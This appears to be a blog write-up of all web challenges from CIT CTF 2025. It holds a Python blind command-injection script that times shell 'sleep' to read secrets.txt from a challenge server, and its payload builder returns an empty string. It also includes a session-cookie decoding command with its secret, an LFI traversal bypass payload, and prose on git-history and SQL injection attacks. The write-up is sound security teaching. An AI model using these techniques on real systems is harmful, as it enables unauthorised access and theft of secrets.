Post

[CIT CTF 2025] Solving all Web challenges

Complete writeup for all web challenges from CIT CTF 2025, including SSTI exploitation, LFI bypasses, git repository enumeration, and SQL injection techniques.

[CIT CTF 2025] Solving all Web challenges

Hello, I joined the CTF for fun during the weekend.

I focused on web challenges and completed all challenges in this category. The challenges were straightforward and made for a fun weekend.

Mr. Chatbot

Mr. Chatbot Challenge

The application shows a welcome page asking for your name, then puts you in a chat with a bot. The goal was to get the Flag from the bot. This wasn’t an LLM attack - responses came from JavaScript files.

Chat Interface

After entering a name, you get a session value that can be decoded with flask-unsign:

1
2
$ flask-unsign --unsign --cookie "eyJhZG1pbiI6IjAiLCJuYW1lIjoiaGFja2VyIn0.aA8u-Q.GRwPzCvfn4k_zUDDzo_XL83fKJk" --secret="9f3IC3uj9^zZ"
[*] Session decodes to: {'admin': '0', 'name': 'hacker'}

Session Decoding

After trying injections with no luck, I did parameter fuzzing and found the admin=1 parameter. This revealed new session data:

Admin Parameter

1
2
$ flask-unsign --unsign --cookie ".eJwdzE0LgjAAxvHvsksEHVoJUdEpe7M2C2S63cyJTacIFprRd--x2397ftuHxLo0FVkRSiakyssUmT6TOm6aVo_G63GGO43tZTSmy0xM5XvZyoj3enarzkFjzqF-3ENRSCNz1heL6PiwzHaO7LMaXfJ956hwn6QHUVzQfqDQrL3SbjpYTmFzL0ndguKc822NfUe5Haz2omPWMfpvGJsrtAoEzMmBNwpOuXZ4M4d1fAEb_v-be4b1ftBsyPcHZ6hN0g.aAwwvA.ouiTuVJ131_fQmyqYgewMTM-ZlM" --secret="9f3IC3uj9^zZ"
[*] Session decodes to: {'admin': '1', 'name': "hacker", 'uid': 'L2V0Yy9wYXNzd2QnKTsiKWdhbWVkYiYjMzk7XHhlMlx4YzgpXHhmNFx4ZWFceGVkLFx4OTZceGMwP1x0XHhlN1x4YjJceDk1XHhjNCpceGE1Nlx4OTdJXHgxM1x4OTdceDljZ1x4ZTVceGI4XHhiZlx4ZDlceGE3XHg4OVx4OWJceDk3JiMzOTs='}

As you see there’s a new variable (UID), I tried doing some injections like SSTI and got it :)

SSTI Success

Well The idea now to get secrets.txt file blindly, I wrote a script that uses head command if char is valid then sleep 5 seconds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
import string
import time

CHARS = string.printable
FOUND = ""
POSITION = len(FOUND) + 1

def make_payload(position, the_char):
    # Use a simple command to compare single character
    cmd = f'[ "$(head -c {position} secrets.txt | tail -c 1)" = "{the_char}" ] && sleep 5'
    payload = ""
    return payload

def exploit():
    global FOUND, POSITION

    # Continue until we've found enough characters or need to stop
    max_positions = 100  # Set a reasonable limit
    consecutive_spaces = 0  # Track consecutive spaces to detect end of file

    while POSITION <= max_positions and consecutive_spaces < 5:  # Stop after 5 consecutive spaces
        found_char = False

        for ch in CHARS:
            if ch in ['"', '\\', '`', '$', '&', '|', ';', '\n', '\r']:  # Skip problematic chars
                continue

            print(f"Position {POSITION}, trying character: {ch}")
            start_time = time.time()

            try:
                r = requests.post(
                    "http://23.179.17.40:58005/",
                    allow_redirects=False,
                    data={"name": make_payload(POSITION, ch), "admin": "1"},
                    proxies={"http": "http://localhost:8080"},
                    timeout=10
                )

                elapsed_time = time.time() - start_time

                if elapsed_time >= 4.5:  # Slightly lower threshold to account for network variability
                    FOUND += ch
                    found_char = True

                    # Reset consecutive spaces counter if we found a non-space
                    if ch != ' ':
                        consecutive_spaces = 0
                    else:
                        consecutive_spaces += 1

                    print(f"Found character at position {POSITION}: {ch}")
                    print(f"Current secret: {FOUND}")
                    break

            except requests.exceptions.Timeout:
                # If timeout occurs, the character matched
                FOUND += ch
                found_char = True

                # Reset consecutive spaces counter if we found a non-space
                if ch != ' ':
                    consecutive_spaces = 0
                else:
                    consecutive_spaces += 1

                print(f"Found character at position {POSITION} (timeout): {ch}")
                print(f"Current secret: {FOUND}")
                break

            except Exception as e:
                print(f"Error with character {ch} at position {POSITION}: {e}")

        if not found_char:
            FOUND += " "
            consecutive_spaces += 1
            print(f"No character found at position {POSITION}, adding space and continuing")
            print(f"Current secret: {FOUND}")
            print(f"Consecutive spaces: {consecutive_spaces}")

        POSITION += 1

        time.sleep(1)

def main():
    print(f"Starting blind exploitation from existing credentials: {FOUND}")
    print(f"Starting at position: {POSITION}")
    exploit()
    print(f"Final extracted secret: {FOUND}")

if __name__ == "__main__":
    main()

And after running it got the flag :)

1
2
$ python exp.py
admin:9f3IC3uj9^zZ  CIT{18a7fbedb4f3548f}

How I Parsed your JSON

This challenge reads JSON files locally and provides a SQL-like syntax to extract data. You can add * to the query to extract all columns.

The useful finding was converting the container parameter into a list with ?container[]=. This showed a debug page with source code.

Debug Page

The code simply removes ../ and file extensions from the container name to prevent LFI. This can be bypassed with ..//file.txt.txt.

1
/select?record=*&container=../../../..//app//secrets.txt.txt

LFI Bypass Result

Commit & Order: Version Control Unit

This challenge was straightforward. I discovered an exposed /.git directory on the server and dumped the repository using the git-dump tool.

After examining the commit history, I found older commits that contained the source code with hardcoded admin credentials. This is a common security mistake where developers remove sensitive information in later commits but forget that the data remains accessible in the Git history.

The steps to solve were:

  1. Identify the exposed Git repository at /.git
  2. Download the repository using git-dump
  3. Review commit history with git log
  4. Check older commits with git show [commit-hash]
  5. Find the source code file containing the hardcoded admin password in admin.php
  6. Use the credentials to access the admin panel and retrieve the flag

Breaking Authentication

This challenge featured a straightforward SQL injection vulnerability in the login page.

Steps to solve:

  1. Accessed the database and dumped its contents
  2. Found the flag stored in the ‘secrets’ table

Classic example of an unsanitized input field allowing SQL injection to compromise a web application’s authentication mechanism.

Keeping Up with the Credentials

This challenge required first solving another challenge to obtain valid username and password credentials.

Steps to solve:

  1. Used credentials obtained from the previous challenge to log in
  2. After login, got redirected to /debug.php which was an empty page
  3. Noticed that accessing /admin.php directly would automatically log you out
  4. Modified the login request to include the parameter admin=true using POST method
  5. Successfully redirected to /admin.php with admin privileges
  6. Retrieved the flag from the admin page

Pretty Simple :v

This post is licensed under CC BY 4.0 by the author.